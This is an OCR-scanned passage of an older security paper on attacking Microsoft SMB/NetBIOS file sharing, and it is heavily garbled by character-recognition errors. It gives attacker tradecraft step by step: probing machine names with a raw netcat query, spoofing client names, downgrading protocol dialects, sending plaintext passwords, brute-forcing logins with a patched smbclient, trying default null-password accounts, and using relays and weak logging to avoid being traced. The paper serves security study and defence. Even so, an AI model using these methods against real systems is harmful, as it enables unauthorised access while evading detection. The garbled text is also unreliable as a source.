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Abst ract

An analysis of TCP/IP NetBIOS file-sharing protocols is presented, and the
steps involved in making a client to server SMB connection described in sone

detail. Enphasis is placed on protocol and adm nistrative vulnerabilities at
various stages and fixes/workarounds for sone of them wth the hope that the
reader will better understand attacks and defenses alike. Several exanples

are presented, based upon using prograns fromthe Uni x Sanba package to probe
a target IP network and survey it for potential problens.

| ntroduction

W will explore the Shared Message Bl ock protocol and related issues, at the
network | evel and higher, in the interest of presenting useful know edge about
M crosoft networking [l oosely aka any of CIFS, NetBEU /NetBIOS, Lan Manager
conpati bl e] security issues. Mcrosoft systems and applications, based on NT
and various flavors of Wndows, are forcibly entering hones and offices the
worl d over and all expecting to speak SMB-based filesharing protocols anbng

t hensel ves as well as with products fromother vendors. As the network
security community has cone to expect from nbost comercial offerings, these
systens are distributed with poorly configured security settings which are
sel dom changed or even reviewed by their new owners before being plugged into
the Internet. This |eaves many of themvulnerable to trivial attacks, and
admi ni strators who *do* try to address the security issues often mss or

m sconfigure things, perhaps making their systens | ess obviously vul nerable
but nonethel ess still vulnerable. A mgjor factor in the difficulty is that
many security practitioners are venturing into new territory here, which
turns out to be riddled with unexpected and undocunented pitfalls. People
relatively new to the overall networking security field, including many of
those i nplenenting and installing said operating systens, often lack the
experience gained fromother OSes and environments and have no idea where to
| ook for potential problens.

No specific audience is targeted here, but adnmnistrators with a primarily
Uni x and NFS background that are now being asked to al so support W ndows and
NT environnents may benefit the nmost fromthis. A necessarily Unix-centric
vi ewpoint is taken, since that is where the author’s main strengths are, but
nore inportantly because Uni x-based source code for a protocol inplenentation
is freely available. Andy Tridgell’s Sanba package represents an anmazi ng
amount of very solid and still-evolving work, and all ows Unix systens to
interoperate with Mcrosoft and Lan Manager platforms to access files and

ot her resources over TCP/IP networks. The exanpl es and discussion herein
refer to the "stable rel ease" version 1.9.15 patchlevel 8 of Sanba, wth

some mnimal nodi fications geared toward exploring the security aspects

of the protocol. Wile not the latest release, it suffices here, and the
docunentation that cones with it is highly recommended reading. The evol ving
Internet-draft for the Common Internet File System or CIFS, is also a key
ref erence work that expands upon original or "core" SMB and expl ai ns nost of
what the boys in Rednond hope will becone a full Internet standard. Their own
i mpl enentati ons nostly adhere to the draft, and many ot her vendors al ready
support CIFS or sonme subset thereof. A few issues specific to NT necessarily
appear, but NT security itself is a whole different bucket of worms and is
nostly outside the scope of this text.



So far there seems to be very little hard information avail able about this,
al though I am aware of at |east one other ongoing related effort. Severa
negabytes of NT-security archives, random whitepapers, RFCs, the ClFS spec,
the Sanba stuff, a few M5 know edge-base articles, strings extracted from

bi nari es, and packet dunps have been dutifully waded through during the

i nformati on-gathering stages of this project, and there are *still* nany

nm ssing pieces. Sone conpatible platfornms were unavail able for testing,
notably OS/2. Wile often tedious, at |east the way has been generously
littered with occurrences of clapping hand to forehead and muttering "crikey,
what are they *thinking*?!" The intent is not to conpete agai nst other works
in progress, it is rather to aid themin noving forward.

Thi s docunent nay be freely copied and quoted in whole or part, provided that
proper attribution is included. WMany of the ideas contained herein are not
new, although it is possible that one or two hitherto unknown problens or

net hods have been independently di scovered. The point is to collect the
infornmation into one place and describe a stepwi se procedure for eval uating
this type of network environment, in a way that those of us who have hitherto
nostly shunned any dealings with Mcrosoft and other PC network products can
readi | y understand.

G oundwor k: What's out there?

Little needs to be said here. Gven a target network or set of |P addresses,
wel | - known net hods can be used for finding the target hosts -- the procedure
which at | east one |large contractor refers to as "network contour assessment."
DNS zone dunps in conjunction with tools such as "fping" can quickly locate
active nmachines. To specifically locate potential SMB servers, scanning for
TCP port 139 is a fairly safe bet. |In the absence of packet filtering,
connection attenpts there either open or get refused so it is unnecessary to
wait around for long tineouts. |If nmachines respond to pinging or other
connectivity tests but TCP connections to 139 time out, then it is likely that
there is a packet filter in the way protecting against NetBIOS traffic. A
Uni x parallel would be running sonething like "rpcinfo -p" against a set of
targets to find NFS servers, which nay or may not be protected by a filter

bl ocking traffic to the portmapper at TCP/UDP 111

W will therefore assune having collected a |list of potential SMB servers, and
proceed to attack a single target therein. Note however that infornmation

gl eaned from nei ghbori ng nachi nes may be useful, just as in the traditiona

Uni x- based environnent. Renenbering various information about a network as a
whol e and plugging it back into specific host attacks is a classic approach
anply detailed in nunerous papers.

Phase 0: Nane determ nation

To establish an SMB session to a typical target, one nust not only have its IP
address but also know its "conputer nane." This is an arbitrary nane sinilar
to a DNS hostnane assigned by an adnministrator, unique within an organization
or at least a given LAN, and in many installations the conputernane and DNS
nane are the sane for administrative convenience. Nane resolution is by
definition a separate entity fromSMB itself, and enploys a variety of methods
including static files, DNS, WNS, and |ocal -wire broadcasts. Wen a nmachine
is running NetBI OGS over TCP/IP, or "NBT", it attaches its own little nane
service to UDP port 137, which makes a continual effort to both | ocate and

di ssem nate as much info as it can about services on the |l ocal LAN. One of
its functions is periodically broadcasting its own set of names on to the
local wire, to notify inmredi ate neighbors that it exists and offers services.

I P routers generally do not forward these broadcasts, so passive receivers



outside an inmedi ate subnet will not |learn these nanes or which I P hosts they

belong to. Fortunately there is usually an easy way to renotely determ ne the
nane, known as a "node status query." The name service also replies to direct
gueries about certain names associated with its own particular host, and if it
is running as a WNS server it can give out even nore information

There are two basic query types -- |IP address, and node status. Status query
m ght be nore properly called name query, since sending one should elicit an
answer containing all of a target’s NetBlI OGS nanes. Both are renarkably
simlar in structure to DNS queries, and are indeed a variant of the DNS
protocol itself. A NetBlIOS address query is for resource record type 32 and a
status query is type 33; both of class INor 1. Wth traditional NetBEU over
non-|1 P transports such as with local -LAN | PX, conputer nanes are normally
uppercase, 16 bytes |ong, and padded with spaces which are illegal characters
in the DNS spec for hostnanmes. To get around this in |IP environnents, NetBlICS
nanes are nmangled into a rather bizarre format. The official spec for this is
in RFCs 1001 and 1002, but to quickly sumit up: Each ASCI| character in a
nane is split into 4-bit halves, and each half is added to ascii value 0x41
[uppercase "A'] to forma new byte. Each original character therefore becones
two mangl ed characters in the range A-P, doubling the entire length to 32
bytes. Thus, the nane "FEH' gets padded out with spaces and becones

ascii string "FEH "o-- s

hex 46 45 48 20 20 20 20 20 20 20 20 20 20 20 20 20 ~-- split into

hex 46 4548202020202020...etc... -- add to "A" gives
hex 45 47 45 46 45 49 43 41 43 41 43 41 ...etc... -- whichis

mangl ed string "EGEFEI CACACACACACACACACACACACACA"

The nane_nangle() routine in Sanba’s util.c does this translation. The
characteristic "...CACACACA" string trailer nmakes NetBI OGS nanes easily

recogni zabl e when they show up in packet dunmps and such. O particular
interest is the wildcard name "*", but padded with *nulls* instead of spaces.
Thi s mangl es to " CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" . Under npbst circunstances,
nane-service listeners are required to reply to queries for this wildcard nane
as well as for their own conputernanes. Therefore sending a status query

for this "*" name is very likely to produce a nane reply as resource records
containing the target’s NetBI OGS nanes, which oddly enough cone back in

*non- mangl ed* format. Muiltiple copies of sone nanes usually show up, but they
are subtly different. In practice the 16th byte of a non-mangled name is a
type byte, which is a different aninmal froma DNS resource-record type! \When
a Net BI OS machine cones up its "nane regi stration" broadcasts contain nultiple
i nstances of its own nane and other strings, but with several different
*Net Bl OS* name types that can indicate different services. Note herein that
mangl ed nanes are of length 32 or 0x20, address queries are RR type 32, and
several returned nanes have *type* 0x20. Therefore a |lot of 0x20s show up in
t hese DNS-style packets and can nake things rather confusing. There seemto
be many nane types, not particularly well docurmented except naybe in know edge
bases or resource kits, but the inportant ones are

0x00 base conput ernanes and workgroups, also in "*" queries
0x01 master browser, in magic _ MSBROASE _ cooki e

0x03 nmessagi ng/ al erter service; name of |ogged-in user

0x20 resource-sharing "server service" nane

0x1B domai n naster-browser name

0x1C donmai n controller name

Ox1E domai n/ wor kgr oup naster browser el ection announcenent [?]

The mangl i ng exanpl e above has 0x20 as its type byte, therefore building the
nane variant used when connecting to fileservers. Server and workstation
machi nes ali ke can provide various different services, and are thus usually
aware of nore than one nane/type at once. In fact nost of themreturn a group



of five or so in a status reply, including the base conputer nane and whatever
"wor kgroup" the target is a nenber of. Nanme type 0 should be used with the
special "*" query which is null-padded anyway, or a response is unlikely. |If
NO nane of type O0x20 is present in the list, it is unlikely that the machine

i n guestion has been configured to share any of its own resources and attenpts
to connect sessions to it will likely fail. Name type Ox3 in the reply often
reveal s the usernane logged in at the machine’s consol e, and shoul d be
collected as a potential username to try against this or neighboring targets.
The base nane nay al so be the sane as a username, since in typical smal

of fice environnents the machines are often associated with specific people.
The special nane ""A"B__MSBROAMSE _"B"A" [l ast char being control-A or type 1]
i ndicates a "master browser" which is a machine that collects info about

nei ghboring machines -- in particular, their I P addresses. A naster browser
is a fortunate find since we can likely get a "browse list" fromthat nachine
[described later] and then possibly query that sane target for all the other
nanes and addresses it clainms to know about.

One can do "nbtstat -A {ip-addr}" froma Mcrosoft platformto direct "*"
gqueries to a specific IP-aware target and obtain its name list. 1In the
absence of a mapping in an LMHOSTS file or some ot her nechanism a specific
machi ne can be found using "nbtstat -a \\NAME" if it is on the local wire. An
address query is sent to the broadcast address of the connected subnet, and if
a machi ne responds then a unicast status query is sent to it. For reasons

unf at homabl e M crosoft platforms usually send status replies FROM UDP 137 TO
UDP 137, regardl ess of the UDP source ports of query packets, so the querying
application nust locally bind to 137 [requiring root on Unix boxes] to ensure
that replies can be received. ddly enough, *address* replies are normally
returned to whatever source port the query was from To handle this fine
exanpl e of the IP savvy out there in Rednond, a tiny patch is needed for the
"nnbl ookup"” Sanmba program which as it cones grabs a high port and is unlikely
to receive status replies. It will then work simlarly to "nbtstat" when run
as root, sending the "*" query if given the "-S \*" argunent [quoting "*" to
the shell], and also accepts a *unicast* target |IP as the -B argument.

Nmbl ookup al so has an interesting feature that allows setting the hex nane
type in a query -- for exanple, a name of the form "TARGET#1C' forces the nane
type to be Ox1C. A slightly nore "raw' equival ent of the generic "*" query,
whi ch sonetines elicits a response containing no nanes but a response
nonet hel ess, can be done using netcat to locally bind UDP port 137 and send a
query. Feed the follow ng input bytes into "nc -v -u -w 3 -p 137 target 137"

and the output through "cat -v":

Ox00 # . 1

ox03 # . 2 # Xid
0Ox00 # . 3

0x00 # . 4 # flags
Ox00 # . 5

0x01 # . 6 # gcnt
ox00 # . 7

Ox00 # . 8 # rcnt
Ox00 # . 9

0x00 # 10 # nscnt
0x00 # 11

0x00 # 12 # acnt
0x20 # 13 # nanel en
0x43 # C 14 # mangled "*"
Ox4b # K 15

0x41 # A 16

Ox41 # A 17

Ox41 # A 18

0x41 # A 19

0x41 # A 20



0x41 # A 21

Ox4l1 # A 22

0x41 # A 23

0x41 # A 24

0x41 # A 25

Ox41 # A 26

0x41 # A 27

0x4l1 # A 28

0x41 # A 29

0x41 # A 30

0x41 # A 31

0x4l1 # A 32

Ox41 # A 33

Ox41 # A 34

0x4l1 # A 35

0x4l1 # A 36

0x4l1 # A 37

Ox41 # A 38

0x41 # A 39

0x41 # A 40

0x4l1 # A 41

Ox41 # A 42

0x41 # A 43

0x4l1 # A 44

0x41 # A 45 # [ enbedded type byte]
Ox00 # . 46 # term nat or
0x00 # . 47

Ox21 # ! 48 # querytype NBTSTAT
0x00 # . 49

0x01 # . 50 # class IN

In rare cases, an additional "scope ID' may be tacked on to mangl ed names in
the format " EGEFElI CACACACACACACACACACACACACA. scope" just like in multipart DNS
nanes. A scope does not contain spaces, and therefore can and i ndeed is sent
unchanged in hostnane queries. Scope nanes are further discussed |ater under
"def enses"”, since they can play a role therein

Firing "*" queries at either selected hosts or the IP subnet’s directed
broadcast is another way of probing around for active SMB hosts. Most routers
do not forward directed-subnet broadcast, but ones that do nay get you all the
answers in one or two shots! In nbst cases, scanning for TCP port 139 and
following up with unicast UDP status queries is still likely to be faster and
nore reliable, especially when a target for sone reason won’t respond to "*"
qgqueries. This sonetinmes happens if the messaging or alerter service is shut
down on the target, which is one recomended security procedure in severa
docunents. |If you suspect this case, try asking for "WORKGROUP', parts of the
target’s DNS nanme, and other likely strings like variants on the nanme of the
organi zation or people within it. Status-querying explicitly for a machine’'s
nanme or workgroup using type 0 should also cause it to respond, and a | ack of
any type 0x3 nanes in the list would confirmthat nessaging is disabled.

Whet her due to packet filters or some other reason, getting *no* reply for

all this effort is still not a reason to give up -- it is UDP after all, and
further nanme guesses can be plugged in during the next phase.

Phase 1: The TCP session

Next we open a TCP connection to port 139 on the target. There is no |onger a
need for any special |ocal ports, so snbclient can run as a normal Uni x user
The "call ed" target’s conputernane of the appropriate type and the "caller”
client nane are name-nmangl ed and plugged into a Session Request bl ock sent to



the server. The idea here is to sanity-check the nanme determ nation step and
ensure that one is conversing with the correct nmachine -- especially wise in
the inevitabl e cases of outdated LMHOSTS files or DNS data. |If the target
server’'s nane is right a "positive response" is sent back, and the connection
remains open. |If the wong server nane is passed in, a "negative response" is
sent along with an error code, and the server end of the connection starts a
TCP shutdown by sending a FIN. Nothing further can be done with the failed
connection; a new one nust be opened to try a different servernane. The nane
of the connecting client is largely irrelevant and can even be null, although
its name type is generally 0. However, the nane the client supplies is the
nane that gets |logged during | ater phases such as user logins. The client
nane may al so affect behavi or agai nst NT nachi nes whi ch have such settable
paraneters as whi ch workstations a given user may log in from |t appears
that the source IP address is *conpletely* irrelevant to M crosoft-based
servers, which sinply accept the given client nane. This is a first hint
about how much functionality is left up to the client. A vague Unix parallel
m ght be faking the client hostnanme in nount requests to be sonething in the
target’s export list, which usually worked agai nst early NFS inpl enentations.

This session request is only the first of many steps taken behind the scenes
by npbst client comands. Froma conmmand pronpt on a Mcrosoft box one does
"net use \\TARGET\ SHARENAME" to begin access to a filesystem or "net view
\WTARGET" to see a target’'s list of available services. Sanba s "snbclient"
accepts the sane syntax, although the backsl ashes need to be isolated from
the shell by enclosing in quotes or specifying \\\\TARGET\\ RESOURCE. It also
accepts "-L TARGET" to list the avail able resources, which in any case is
what we want to do first. Snbclient by default picks up the caller name
fromthe hostname of the Unix machine it is running on, but we can specify
"-n fakename" to set it to something arbitrary.

An error response is usually one of two: either the passed servername wasn't
correct, or the name was right but no service of the requested name type is
running. Snbclient translates these errors respectively as "called nane not
present” or "not listening on called nane." Usually if server-nane/type 0x20
is unreachable, the target is not sharing its resources at all and there isn't
much nore we can do with it. Sessions to server-nanme/type 0x3 may work to
reach the nessaging service and is sonetines a way to check if we got at |east
one nane right, but short of sending annoyi ng nessages to the console user it
is not particularly useful. Snbclient has a "-M argunment to do nessage

sendi ng. The spec provides for a "not listening for CALLING nane" error
inmplying a potential facility for access restriction by specific client, but
today’s i nplenmentations don't seemto care

If all UDP nane queries above have failed, the same sorts of guessing at the

target’s conputernane can be tried here, one per TCP connection. |If the
connection is relayed via an internedi ate nmachi ne such as a proxy, the client
nmust still supply the correct nanme of the target server. Mcrosoft clients

can be faked out with an appropriate LMHOSTS entry with the nane of the fina
destination but the I P address of the *relayer*. As long as the final target
sees its own nane in the request, it doesn’t matter how it got there. An
exanpl e fast way to script up different LVMHOSTS nanmes on the fly woul d be
havi ng "#| NCLUDE randi sk-file-name" in the main LMHOSTS file, to avoid
repeatedly witing to the hard drive just to test a bunch of targets. The
CIFS spec nmentions that the nagic target nane "*SMBSERVER' is supposed to be
sone sort of wildcard, but it is optional and no current Mcrosoft platforns
seemto accept it to open sessions. Sanba does, sinply because by design it
accepts any old pair of nanes for sessions and nore sensibly logs the client’s
| P address if appropriately configured.

Using a relay host can foil backtracing efforts by someone who notices odd
network activity or log entries and goes to investigate. A suitable relayer



program can take just about any form such a sinple netcat script, a SOCKS
gat eway, or even Mcrosoft’'s own "Catapult" proxy package. The relay would
presunably listen on TCP 139 and forward the connection, but with snbclient
the relay can listen on any other port and we can supply the "-p {portnunt”
argunent to reach it. |If a high-port relay is already behind a packet filter
that bl ocks TCP 139 but allows >1024, not only is the firewall bypassed but
the resulting server connection may | ook |ike a conpletely normal one froma
trusted inside host.

Sone Linux distributions anticipate being used as Sanba servers, and cone
with an "nbsession” entry in inetd.conf but no server programto handl e the
connection. These will listen on TCP 139 but imediately close, while
noting an appropriate error in the syslog.

A Dbrief digression about SMB

So far none of this has involved any actual Shared Message Bl ock protocol

The CIFS spec contains a detailed rundown on SMB packet formats. Wile SMB
can run over various transports including IP, here we only discuss its usua
interaction via TCP 139. A 4-byte block length is sent down the TCP stream
followed by the block itself, so the transport handl ers then know how much to
read fromor wite to the network. SMB is thus independent of how I P-1|evel
packets split up the stream-- it doesn't care, it just keeps reading a
connected socket until it satisfies the length’s worth or tinmes out. SMB

bl ocks can be up to 65536 bytes | ong *excluding* the length integer, but in
practice the blocks are usually smaller. SMB also trusts the TCP reliable
transport layer to segregate different client sessions. |In an alternate node
that uses UDP 138 the data bl ocks | ook al nbst the same, except that 12 bytes
of unused "filler" are used under UDP to pass various session and sequenci ng
context info. Many SMB request types support what is called the "AndX"
mechani sm which provides a way to send several requests at once. Fields in
t hese specify how to | ocate any subsequent SMB requests that were "batched"
into this block. See the spec for nmore infornmation.

The Sanba code builds SMB bl ocks into buffers using a bunch of hairy nmacros
with names |ike "SSVAL" to nove short and |ong integers around and convert
byte-ordering. [For a fun time, try unsnarling "byteorder.h".] Since Sanba
buil ds these internal buffers to include the 4-byte block I ength at offset O,
any other offsets described here are relative to that. After the block |length
cones the SMB header itself, starting at offset 4 in our reference frame with
OxFF, 'S, "M, "B. A one-byte command code and several fixed-length fields
follow, ending the SMB header proper. The conmmand code indicates the type of
SMB bei ng requested or responded to. The request / response descriptions in
CIFS exclude the header, and only detail what follows. After the header is a
| ength byte and a vari abl e-1 ength bunch of two-byte "paraneter words", and
finally any associated buffers which can contain values, strings, file data,
or whatever. A rough chart of this is given in Appendix C.  The paraneter
words begin at offset 37 and are where nost of the work gets done; in Sanba
they are called "smb_ vwN' where Nis a nunber starting with 0. The buffers
start at a variable offset depending on how many paraneter words preceded,;
Sanba has a routine called snb_buf() to dig through and find it. It should be
noted that while the leading | ength bytes are in network order, all val ues

i nside the SMB bl ocks nmust be in "Intel" or little-endian order! 1In genera
both the block structure *and* what gets placed into it is all rather conplex
and confusing, and if it’s any reassurance, the comments in earlier versions
of Sanmba hint that much of it started as total guesswork and verbati m copyi ng
of block sections from packet dunps of sessions between M5 boxes. As nore
SMB- savvy contributors cane into the Sanba devel opment picture, these blind
but somehow functional shots in the dark became better explained and recoded.



When working with NT we often encounter sonething called "unicode", a sonewhat
war ped international character encoding standard. Strings are encoded into
sequences of two-byte words, wasting twice the storage space required. This
causes the string "ABC' to appear as "41 00 42 00 43 00" in hex dunps, and
pops up in registry entries, SMB packets, and many ot her places. The |engths
of unicode strings are usually stored el sewhere, such as [but not always] in
an SMB paraneter word, and there is sonetinmes confusion about precisely how
long any string is. For exanple, is unicode "ABC' of size 3 or size 6? If we
i nclude and count a terminating null as required when sendi ng passwords, is it
then of size 4, 7, or perhaps even 8? To make matters even worse the strings
nmust in theory be word-aligned in nenory, and to force this to be true a

| eading null is supposed to be *inserted* ahead of the first character. The

| at est Sanmba server version contains a snall fix for a common case where NT
clients cannot quite decide consistently about the length of a null password
string, and may send it as either 1 or O.

One inportant part of the header we need to be aware of is two words beginning
at offset 9 -- the response class and error codes, called snb rcls and
snb_err. These describe protocol errors in sonme detail, and there is a fairly
large translation table of the nbst compn errors near the end of client.c.
The two error classes we usually ever see in practice are DOS and SERVER
There are several different possible class/error response conbi nations to
descri be any one kind of problem such as failure to authenticate a user, and
whi ch pairs get sent back depends upon what type of platformthe target is.
The patch kit below includes a snmall routine called interpret_error() that
boils an assortnent of comon errors down into a couple of standard return
codes. This hel ps us distinguish between fatal errors, nonfatal errors and
password problens, which figures significantly in a |ater phase of the attack
Sone of the information here is not docunented in CIFS, but can be found by
doi ng "net hel pnsg {snb_err #}" under NT, which seens to have a very conplete
set of error nmessage texts avail able.

Phase 2: Dial ect negotiation

Assumi ng an open TCP connection and successful session request, SMB request
bl ocks may now be sent. The next step is for client and server to agree on
the "dialect" of SMB protocol they can support. Over tinme, SMB has evol ved
fromearliest "Mcrosoft networks" core protocol, through two types of Lan
Manager and up to the current variant that NT uses. Each new dial ect adds a
couple of features, to support things |ike new authentication protocols and
long filenanmes. The client sends a |ist of dialects it supports as [get
this!] a bunch of null-ternminated ASCI| strings, including entries |like

PC NETWORK PROGRAM 1.0
M CROSCFT NETWORKS 1. 03
LANVANL. O
LML. 2X002
LANVANZ. 1
NT LM 0. 12

whi ch the server string-conpares against dialects it recognizes and picks the
"hi ghest" conmmon protocol level. There is a big coment in Sanba's server.c
just before reply negprot() describing what nost server platforns do with
this. A response is built and sent back to the client, containing severa
important itenms: a nuneric index into the dialect list to indicate which to
use, sone security-relevant flags, and an optional 8-byte "encryption key" to
use for authentication. This "key" is a random challenge nonce that the
server generates and tenporarily renenbers. A confusingly naned "session
key" is also sent, which is just sonme sort of unique but nostly uninportant
identifier and *not* the sanme as the cryptkey.



Most SMB servers support backward dial ect conpatibility, and even if we
support the latest NT we can always lie and exclude sonme of the later dialects
fromthe list we send. Sessions between two NT nachines involve nore conpl ex
security protocols, so for our attack purposes it is definitely worth our
while to convince a server that we are a dunb old client that can’t handle

the fancier stuff. Mcrosoft clients can't do this but snbclient can, with a
settabl e max_protocol variable, and we should therefore plug "-m LANVAN2" into
our command line to force the server to dunb itself down sonewhat. Snbclient
al so parses dialects as strings here, not nuneric |evels.

The security node flags appear in snb_vwl, and we need to pay attention to
the lowtwo bits thereof. Snbclient tells us what this "sec nbde" is at debug
level 3. The earlier NetBIOS inplenmentations optionally required a sinple
password to connect to a shared filesystem and had no real concept of *who*
was connecting as long as the correct password was supplied. Everyone using
such a fileshare nmust know t he single password for it, which is considered
fairly lanme froma security standpoint. This is called "share-|evel

security", and is used by Wndows for Workgroups, Sanba if appropriately
configured, and maybe some ot her Lan Manager platforns. Later dialects have a
concept of individual user login, and indicate this "user-level security" by
setting the LSB of the security flags. The next higher bit in the flags

i ndi cates whether the client should use "password encryption” or not. Thus if
snbclient reports "sec node 3" as it does when connecting to nbst NT servers,
both of these bits are set. Sonetines we see a reference to "server-1evel
security", but this sinply neans that authentication data is forwarded to a
Domai n Controller machine for validation and does not affect the nbde bits.

Di al ect negotiation nust occur on a connection before other SMB types nay be
sent. |f dialect negotiation fails for sonme reason, the server sends a FIN
along with the response and the TCP connection rmust be cl osed and reopened.
One way to observe this is to try negotiating the dialect either twice or not

at all on a given connection. |If a server is running in user-level security
and a protocol is negotiated that does not support user login at all, the
server will generally set the user-level bit anyway and wi nd up refusing to

al |l ow nost other SMB transacti ons on that connection until successful user
authentication is performed. This happens during the next phase.

Phase 3: SMB session setup

A server running in user-level security generally requires this step before
all owi ng access to shared resources. This phase can be skipped entirely

agai nst share-|level servers, or used anyway to pass additional info about
buffer sizes and client capabilities. Normally here is where usernanes and
passwords get plugged in and the "attack" really begins. The official CIFS
nane for this phase is SessionSetupAndX, inplying once again that additiona
SMB requests can and often are batched into this block. Note carefully that
despite the unfortunately confusing nane, this "session setup" is a very

DI FFERENT ani nal from the RFCL001/1002-style TCP "session setup" done in
phase 0! In general the different TCP sessions distinguish between client
*machi nes*, while a "U D" determned during this SMB setup phase distingui shes
an individual *user* on a given client. This inplies that all SMB traffic
bet ween a given client and server pair nay pass over a single TCP connection
regardl ess of originating user, although this is not required behavior by any
nmeans since servers can support several concurrent TCP connections. |t also
inplies that nultiple SMB setup requests can be sent across the single
connection instance, which is perhaps the key thing that throws it w de open
to various attacks.

The contents of this block and the server response vary sonewhat dependi ng
on the agreed dialect level and security flags. The nost relevant itens in



the request are a usernane and either a plaintext password or a hash derived
fromit. Oher items include nmaxi num buffer sizes, various other client

i nformati on such as its donmain and running OS [all of which can be faked up],
and perhaps further SMB commands via the AndX nechani sm

M crosoft boxes coll ect a usernane and password through one or another "l ogon"
di al og. Under WFWG the sinplest comrand-line way to change themon the fly
is "net logon {user}" which sets themup for a subsequent "net use". NT
requires a login to use the client workstation and saves the usernane and
password fromthat as default credentials for subsequent filesharing, but
these can be overridden in its "net" command line with optional /USER and
password argunents. Snbclient accepts "-U usernane", and asks for a password
that it will plug in at the appropriate time. The unnodified version accepts
a password on the conmand |ine as an optional argunent after the sharenane, or
by using the format "-U user%asswd". In nmany cases the password nust be in
al | UPPERCASE, but some servers may accept or even require m xed-case even in
LANMAN-only dialect -- this is a bit of a crap shoot, so try it both ways.

The Sanba server has hooks to try a couple of different pernutations in an
effort to authenticate oddball clients, with appropriate warni ngs about
reduced keyspace.

Under user-1level security a successful login nmeans we are basically "in" as
either the target user or a guest. The SMB response contai ns sone strings
contai ning the server’s OS and version, and an inportant SMB header field
called the UD. This is not quite the sane thing as a Unix U D, although for
conveni ence Sanba does use the Unix U D of the authenticating user here.

M crosoft servers construct an internal set of user credentials and rights and
assign the U D as a token that refers to it. The UDis in theory unique only
within the context of the enclosing TCP connection -- if multiple SMB sessions
are active across one TCP connection the U D distinguishes the separate users
there, and in theory different users on different TCP sockets could wi nd up
bei ng assigned the sane UD. There is also a process-ID or PID header field
that the *client* initiates, but that seens to hold little rel evance except
for sone file-locking calls. Again, regardless of server platformthe UD s
nerely a reference token and while playing ganmes with U DA D val ues may be

ef fecti ve agai nst NFS servers, trying it here it only produces "invalid U D'
SMB errors or is sinmply ignored by the server. The server can optionally set
a flag in the setup response that indicates that a given session is a "guest"
login. Sanba does this and NT does not, but the setting of this bit seens
irrelevant to the rights a given active U D has on the server anyway.

There are several possible error responses here, which our interpret_error
routine turns into sonething we can recogni ze to nean whether to continue the
attack or give up. An unknown usernane and/or password in nbpst cases cones
back as "access deni ed" unless unknown/null users get mapped to GQUEST. There
are sonme errors that inply that the supplied credentials were right but there
is some other problem such as "account disabled" or "cannot log in fromthe
network." In such cases further attenpts with a given username wll probably
be unproductive, but renenber that here the TCP connection renmi ns open
regardl ess of the return status, allow ng anple opportunity for retries with
any other usernanme and password. Protocol errors or transient server problens
can al so occur, some of which may inply that a new TCP session i s needed.

Two i nmportant usernanmes to try right off against Mcrosoft platforns are

ADM NI STRATOR and GUEST, since these usually exist out of the box and all too
often have null passwords. |If the ADM Nl STRATOR | ogi n has been renaned to
"sonet hi ng obscure" as recomended in several texts, its new nane may show up
somewhere on the target network as a type 0x3 anyway. As nentioned before,
any ot her base conputernanes and type 0x3 nessagi ng nanes collected fromthe
target network are all potential usernames. A machine running the M crosoft
web server nmay have an account of the form | USR {basenane} that got quietly



created during setup, and it is said that the SQL server pulls simlar stunts.
A null usernane or one that is unknown to the server is often accepted as a
guest login that allows sonme limted anpbunt of poking around -- often enough
access to at least read files fromthe server if not wite to them Any hint
at an account used for disk backups in an NT environnment should be pursued,
since such an account probably has "backup" privileges to read the entire
filesystemincluding the normally inaccessible SAM security database. |If the
server is running Sanmba itself, a null usernane and password nay grant guest
access. Try sone Unix accounts that have known or null passwords -- Sanba by
default disallows |ogins by accounts with null passwords, but for any

al | owabl e ones does not check for a valid user shell like other daenons do.
Try likely null ones anyway since sone sites nmay be configured to allow them
An exception to the null-password rule is Sanba’s default "pcguest" account in
snb. conf, which many sites remap to "nobody" or sonething rather than create a
new /et c/ passwd entry.

If the client supports password encryption, it uses the user’s password as

i nput to one or both of two possible encryption algorithnms referred to as the
LANMAN net hod and the NT nmethod. These algorithnms are described in CIFS in
excruci ating detail, and reviewed in Appendix A here. By deliberately dunbing
down our negotiated protocol level we can elimnate the need for the NT-style
field even if connecting to an NT-dial ect server. For backward conpatibility
NT accepts the LANVAN password format, which conpletely obviates the increased
security supposedly given by |ong case-sensitive passwords. It is inportant
to understand that it is the CLIENT that chooses whether or not to use
password encryption, and the server’s "use encryption" security node bit is
just a gentle suggestion. |If a server cannot authenticate via a 24-byte
crypto response it is supposed to use whatever is given AS PLAINTEXT. This is
anot her mmj or weakness in the protocol spec, since a conpliant server cannot
enforce use of encryption! W therefore don't even need "libdes" or the Sanba
crypto support for our attack kit, we can just send plai ntext passwords.
Furthernore, since at this point we can send nmultiple SetupAndX exchanges
REGARDLESS of whet her they succeed or fail, the opportunity for brute-force
guessing is obvious. Mst stock client apps are not useful as brute-forcing
engi nes since they exit after one or two failed authentications, but our patch
kit nmodifies snbclient’s send_login() routine to keep trying until it either
succeeds or runs out of passwords to try.

VWhile this phase is ripe for brute-force attacks, it is also where servers

m ght start logging things. Entries wind up, relative to their respective
systemroot directories, in "audit.log" under Wndows, "config\secevent.evt"
under the NT systemdirectory, and "var/log.snb" on a Samba server. M crosoft
platfornms [particularly NT] open their log files in an exclusive way that
prevents other processes fromdirectly reading or nodifying them and Sanba’s
| ogfiles can be protected agai nst normal users. Unfortunately the default
setup for what *gets* logged is weak or nonexistent. Wndows seens only to
log full filesharing connection attenpts, which do not happen at this phase,
and the logging is controlled via sinple SYSTEMIN lines. NI out of the box
| ogs NOTHI NG -- one nust configure the NT "system policy" to *do* the | ogging
for both failed and successful user |ogins, and only the nane given by the
connecting client is saved -- NOT its IP address. Qher Mcrosoft platforns
have the same problem Unless soneone actively runs "netstat -a" during the
attack or provides sone third-party enhanced logging facility, no usefu
backtracing information will be saved. The Sanba server by default only | ogs
successful filesharing connections. This pretty nmuch lets an attacker guess
at Uni x user passwords all day and never be noticed, simlar to what vanilla
rexec allows. Setting up nore neaningful |ogging gets rather involved and is
covered later under "defenses." 1In all cases, recall also that any TCP
connections can be run through an internediate relay which will cause the
relay’s I P address to be observed instead of the real source of an attack



NT servers exhibit several quirks worth nmentioning, nost of which reveal that
t he design of the authentication backend is at best naive. A cleartext

uni code NT password can be sent in snb_vw8 but if the alignnent is screwed up
or the length given as uneven, the returned error is "paraneter incorrect" and
the event log entry is just "unexpected error." |If a properly formed NT
password is given under NT LM dial ect, encrypted or otherw se, any LANVAN
style one in snb_vw?7 is apparently ignored. Upon valid authentication, other
error codes returned can nean things |ike "account disabled", "network access
deni ed", "cannot log in fromthis workstation", as well as several others that
arguably give out too nuch information that could help guide an attack. Users
